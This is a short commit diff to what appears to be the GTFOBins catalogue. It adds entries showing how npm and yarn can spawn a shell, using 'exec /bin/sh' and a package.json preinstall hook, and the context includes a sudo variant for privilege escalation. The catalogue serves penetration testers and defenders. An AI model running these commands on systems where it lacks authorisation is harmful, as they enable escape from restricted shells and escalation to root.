Update yarn and npm

_gtfobins/npm.md

@@ -1,6 +1,7 @@
 ---
 functions:
   shell:
+    - code: npm exec /bin/sh
     - code: |
         TF=$(mktemp -d)
         echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json

_gtfobins/yarn.md

@@ -2,6 +2,10 @@
 functions:
   shell:
     - code: yarn exec /bin/sh
+    - code: |
+        TF=$(mktemp -d)
+        echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
+        yarn --cwd $TF install
   sudo:
     - code: sudo yarn exec /bin/sh
 ---